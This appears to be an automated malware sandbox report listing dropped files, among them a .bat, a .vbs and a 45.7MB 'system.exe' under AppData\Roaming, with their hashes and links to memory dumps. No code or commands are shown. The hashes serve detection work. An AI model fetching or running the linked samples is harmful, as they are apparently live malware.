SHA256 fb5127c0c84157b39f5f5d7f6f02ef9c89c7969244df433ecc57f3d117bac38d
MD5 4e0ed3ba853ce1405d426dfe878551a0
SHA1 2fc4a093e1bca78a65ba9171ecd68b1f2f3858d6
SHA512 3b5338ca632529682c361b9ca78297c92bcb42e7d64a6bcde13fb3bef1db7b516a825f7b0b25e29b1f1199380c8682b015e3f0429b2df7dc1139e0f87c88df53
TLSH
T1EF214633B3DD8654C899413A10CEAC1036B787DB409E8E9B6B84D559A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4e62659dfa8a7d26de00f5dffb22e1096abeee6c2b811276699f7ed40853c761
MD5 93b004ae63ff45028dd0f039bbc51a8f
SHA1 dbea4a0ec573095e1aa080cb5c9c5de605b9fec5
SHA512 ccaba46534c44d0100fe7668311540be9f4697443bed080e7dd43a80372d36352ce3ef58528d1cc00c39bddc1bb20b5d54d5a13d98f55f2ff8ef799be0762376
TLSH
T1B3215C37B3DC8614DC9A413A10CEAC1036B6C7D7419ECEAB7B84D544A42F699DE605A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_gz4igy5i.lc4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gz4igy5i.lc4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmp1F12.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp1F12.tmp.bat
Size 150B
SHA256 c6b149be339ad7327120beb17e7cbc30d6e129692b6a78664f572d5bd7be7140
MD5 aa642992836d93829c4518de0b3f89a1
SHA1 c4a68eae2be5dbde4d87f478bd4a7f31d5036718
SHA512 1416403db7d1d66ded0236fa9608bdd3f088f956b063125ce38d1c67ebdb8d5bca75d804126bb471038d53d4c113cefac0e859d19c18689bcfa3a978bbbbd900
TLSH
T149C08C8252CAAA1E2909145306BAD49C957669A93E44BB00938440096280448E5AA241
MD5 SHA1 SHA512 TLSH

Submit Download

Windows_Log_497.vbs

Path C:\Users\Admin\AppData\Roaming\Windows_Log_497.vbs
Size 115B
SHA256 b3101008ea1140cb90c1979bb9f5a386156f7940ce50fe66c6fcee7c94473288
MD5 7fdbed0bcecb612d6521388cf78276fd
SHA1 bcd7b1dcd683a753d7b20138a9007cb6052c47fb
SHA512 cc4a3ff0e7d64a1aeb1da7190b6a9b43f2abee7491b06a07eec29f6312bca314f3e905863c3be29903db2f967c201125c443f44132339b1d63ecfdaab67e9798
TLSH
T127B09225208989CAB5155AA30776840C86A086402644A7A99A00C59D28A9514B686283
MD5 SHA1 SHA512 TLSH

Submit Download

system.exe

Path C:\Users\Admin\AppData\Roaming\system.exe
Size 45.7MB
SHA256 3c5d75c0b85f2e2846749d2e8d96f1c6e47d9f7bd08e7263e18da0605acb91c1
MD5 fe5eb1fbaffc90be47f2bd7b4c672cb4
SHA1 37b57e1fe17c9c804f057686be44ed9ca5b09f39
SHA512 38ee1cee00b150c1b4cc3d55d6a5120ff88d4eace3f1b0693626a406f5e31224807c0b9b38f0235ea7e5400241a7531d4fc888b0f914647fc941fe4cfba0c86f
SSDEEP 786432:2Xnspk8wXCW9TwEHPLokXtAIOAUGFydyvi2z9ynRgp5QjgYskgolid2gqFheGQ:+nrzLTwG8k9AIVUl89yRgp5QrJlid2ZK
TLSH
T1C1B733897778A391C51BE536196141425A263CF7CB292BCF0DD8B0BC69B41F20BBB91F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/936-9-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-11-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-17-0x0000017AA7240000-0x0000017AA725E000-memory.dmp

Download

memory/936-19-0x0000017AA7220000-0x0000017AA722A000-memory.dmp

Download

memory/936-21-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-22-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-14-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-13-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-12-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-18-0x0000017ABF2C0000-0x0000017ABF372000-memory.dmp

Download

memory/936-10-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-8-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-7-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-6-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-5-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-4-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/936-3-0x0000017AA71E0000-0x0000017AA7202000-memory.dmp

Download

memory/936-0-0x00007FFC1245F000-0x00007FFC12460000-memory.dmp

Download

memory/1200-47-0x000001F234AE0000-0x000001F234AFE000-memory.dmp

Download

memory/1644-72-0x000001DAA5CA0000-0x000001DAA5CB2000-memory.dmp

Download

memory/5056-32-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/5056-35-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/5056-26-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/5056-33-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/5056-28-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/5056-27-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/5056-25-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/5056-24-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/5056-23-0x00007FFC122D0000-0x00007FFC12C74000-memory.dmp

Download

memory/6040-38-0x00000193CB3D0000-0x00000193CB418000-memory.dmp

Download

memory/6040-40-0x00000193CB3A0000-0x00000193CB3AE000-memory.dmp

Download

memory/6040-39-0x00000193CAFD0000-0x00000193CAFD8000-memory.dmp

Download